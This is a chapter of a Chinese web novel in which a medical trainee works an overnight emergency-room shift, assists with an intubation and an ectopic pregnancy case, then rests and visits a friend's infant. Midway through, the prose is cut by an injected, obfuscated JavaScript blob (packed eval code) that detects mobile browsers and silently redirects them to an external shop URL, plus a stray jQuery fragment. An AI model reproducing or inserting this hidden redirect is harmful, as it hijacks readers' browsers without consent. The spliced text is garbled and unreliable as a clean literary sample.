第五十三章夜班
七月的第一个周四，沈渡第一次跟陈槿值夜班。从晚上六点到第二天早上八点，十四个小时，她不知道自己能不能撑下来。出门的时候她带了一瓶浓茶，不是她爱喝，是听林医生说夜班困的时候管用。她尝了一口，苦的，回甘很长，和贺老的茶一样苦。她想起贺老说过的话——苦是药。她把瓶子塞进包里，出了门。
急诊科的夜和白天的完全不同。白天的人多，嘈杂，像一锅煮开的粥。晚上也煮，但火小了，咕嘟咕嘟的，不紧不慢。沈渡到的时候，陈槿正在分诊台看登记本，抬头看她一眼。“吃过晚饭了吗？”“吃过了。”其实没吃，她路上买了一个饭团，站在便利店门口吃的，花了三分钟。“那开始吧。”
陈槿带她把留观室走了一遍。留观室有八张床，住了六个病人。两个心衰，一个慢阻肺，一个肺炎，一个急性胰腺炎，一个药物中毒。沈渡跟着她一个个看过去，陈槿问病史、查体、看检查结果、调医嘱，她跟在后面，把这些病人的磁共振影像装进脑子里。心衰的那个是老太太，躺不平，半靠着床，喘得像一台老旧的鼓风机。陈槿调高了利尿剂的剂量，说晚上尿量多了心衰就能减轻。慢阻肺的那个是老伯，戴着无创呼吸机，面罩罩住口鼻，机器噗嗤噗嗤地送气，他闭着眼睛，看起来像是在睡觉，但沈渡从心电监护上看到他的心率比白天快了，呼吸频率也比白天高了。她没有说，她需要再看一会儿。
晚上九点多的时候，救护车送来一个病人。从养老院拉来的，九十多岁，意识不清，家属不在。推车直接进了红区，沈渡跟着陈槿跑过去。老人的脸很瘦，颧骨高高地凸出来，嘴唇干裂，眼窝深陷。呼吸很浅，很快，像一只被扔上岸的鱼在拼命张口。心电监护上的波形不好看，血氧饱和度只有七十几。
陈槿动作很快，手套、喉镜、气管插管，一气呵成。护士在抽血，有人在推抢救车，有人在准备呼吸机。沈渡站在旁边，手里不知道什么时候被塞了一个球囊。陈槿看了她一眼。“捏。”沈渡的双手握着球囊，一下一下地捏。频率和深度，书上写的是一到两秒捏一次，每次送气量五百到六百毫升。她不知道自己的频率对不对、深度够不够，她只知道不能停，停了老人的血氧就会掉。手掌感觉到的不是球囊的阻力，是老人的肺在膨胀，气体进去了，胸廓鼓起来了，血氧从七十几升到了八十几，升到了九十几。她继续捏，手有点酸，但不敢停。
“行了。”陈槿接过了球囊，交给她旁边的护士。沈渡的手停在半空中，手心全是汗。心电监护上的数字跳动着，心率一百一，血压九十六十，血氧九十四。老人还是没有醒，但呼吸机在工作，血氧稳住了。沈渡站在那里，看着那个老人的脸。他不知道发生了什么，不知道自己差点死了，不知道有一个没有执照的见习生替他捏了半个小时的球囊。他不知道，但沈渡知道。
后半夜相对平静。没有再送来危重病人。留观室里的病人有的睡着了，有的睁着眼睛看天花板，有的在低声打电话。沈渡靠着墙站着。陈槿在办公室里写病历，键盘的声音噼里啪啦的，像有人在快速打字。沈渡走进去在旁边的椅子上坐下，揉了揉眼睛。
“累吗？”陈槿没看她，还在打字。沈渡想了想。“不累。”其实累，但她不想说。说了又能怎样？陈槿不会因为她累就让她早走，不会让她去休息，不会说“辛苦你了”。说了只是让她自己觉得好受一点，让另一个人知道了她的累。
陈槿继续打字，过了好一阵才停下来。她靠在椅背上，看着电脑屏幕上那份还没有写完的病历。“你知道我为什么同意你来吗？”
沈渡摇头。
“林院长说有一个学生，中医底子不错，肯学，不怕苦。她说你跟她查房的时候，会问‘为什么’。不是每个学生都会问为什么。有些人学东西是为了应付考试，考完就忘了。你不是，你是真的想知道。”
沈渡没说话。她不知道自己是“真的想知道”，还是只是记性好到忘不掉。记性好的人不需要问为什么也能记住，但问了为什么，就记得更牢。
陈槿转过身看着沈渡。“我这人不会教人，也不会夸人。你能学到多少，是你自己的事。”沈渡看着她。她想起贺老说过的话，林院长说过的话，现在陈槿也在说。她们都说“你能学到多少是你自己的事”，但她们每一个人都在教她。贺老教她把脉、开方、认药，林院长教她看病、识人、做医生，陈槿教她——她不知道陈槿教她什么，也许是“手要稳，心要定，不管外面多乱，你手里的球囊不能停”。
天快亮的时候，留观室的电话响了。急诊抢救室，又送来一个病人。沈渡跟着陈槿跑过去，这次是一个年轻女人，脸色苍白，捂着肚子，疼得直不起腰。宫外孕破裂，腹腔内出血。陈槿看了超声，马上叫妇科会诊，推去手术室。沈渡看着那辆推车从她面前经过，轮子碾过地砖的声音和抢救室里的不一样，抢救室里的声音快、急、慌。这个声音不快，但稳。稳不是因为不急，是不能急。急了，手就抖了。
早上八点，交完班，沈渡走出急诊科大门。阳光从东边照过来，刺得她眯了一下眼睛。她站在门口，一只脚在台阶上，一只脚在台阶下，走了一夜的腿有点软。她想她是真的累了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658927|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是身体的累，是一整夜绷着的那根弦突然松了。她弯下腰，双手撑在膝盖上，大口大口地呼吸着。门口有人在抽烟，烟雾飘过来，呛得她咳了两声。她直起身，往公交站走。手机震了，陈媛问复查结果怎么样，她回复她说还不知道，等下午拿了报告告诉她。
下夜班回家，沈渡洗了澡，躺在床上。大白天，窗帘拉得严严实实的，房间里暗得像夜晚。她把被子拉到下巴，闭上眼睛，脑子里那些画面自动播放起来——老人的呼吸机、年轻女人的超声图像、陈槿插管的动作、心电监护上跳动的数字。那些画面不吵，只是在那里，像一页一页翻过去的书。她闭着眼睛翻，翻着翻着就睡着了。
下午醒来的时候，阳光从窗帘缝隙里挤进来，在地板上画了一条金色的线。沈渡看着那条线，一时分不清是早上还是傍晚。她拿起手机看了时间，下午四点多。睡了七个多小时，够了。她坐起来，发了会儿呆，然后去窗台看了一眼绿萝。已经是习惯动作了，不需要刻意。绿萝好好的，叶子绿着，新芽的方向还是朝窗户。她没有多看，转身去洗漱了。
去医院的路上，沈渡给陈媛发了消息，问了复查结果。陈媛说一切正常，血象、肝肾功能、心电图都好。沈渡回了一个“好”字。她想说“太好了”，但她不会说这种话。她只会说“好”。“好”就够了，不需要感叹号，不需要表情包。
傍晚沈渡去了徐敏家。念念六个月了，会扶着东西站了。她扶着沙发背，两条腿抖得像筛糠，但就是不坐下去。徐敏在旁边张着手，怕她摔了。沈渡蹲下来，把手放在念念的脚边。念念低头看她的手，又抬头看她的脸，然后伸出两只手——她不是在求抱抱，是在找平衡。沈渡没有抱她，让她扶着她的手站了一会儿。念念站累了，一屁股坐在爬行垫上，愣了片刻，没有哭。她抬头看着沈渡，嘴角往下撇了撇，又收住了。
徐敏在她旁边坐下来。“她今天摔了好几次了，都不哭。这孩子皮实。”
沈渡看着念念。她想起自己小时候摔了也不哭，不是皮实，是哭了也没人抱。后来就不哭了，不哭不是不疼，是哭没用。她不知道念念不哭是因为皮实还是因为知道哭没用，但不管是哪种，她都希望念念以后知道——有人会抱她。
晚上回到家，沈渡翻开《急诊医学》，读到了“宫外孕”那一章。她把超声图像、临床表现、鉴别诊断、治疗方案都过了一遍。然后合上书，关了灯。黑暗中她把手放在胸口，感觉到心跳，不快不慢。
她想起今天早上在急诊科门口弯着腰喘气的样子——很狼狈，但她还在那里。她想着想着，就睡着了。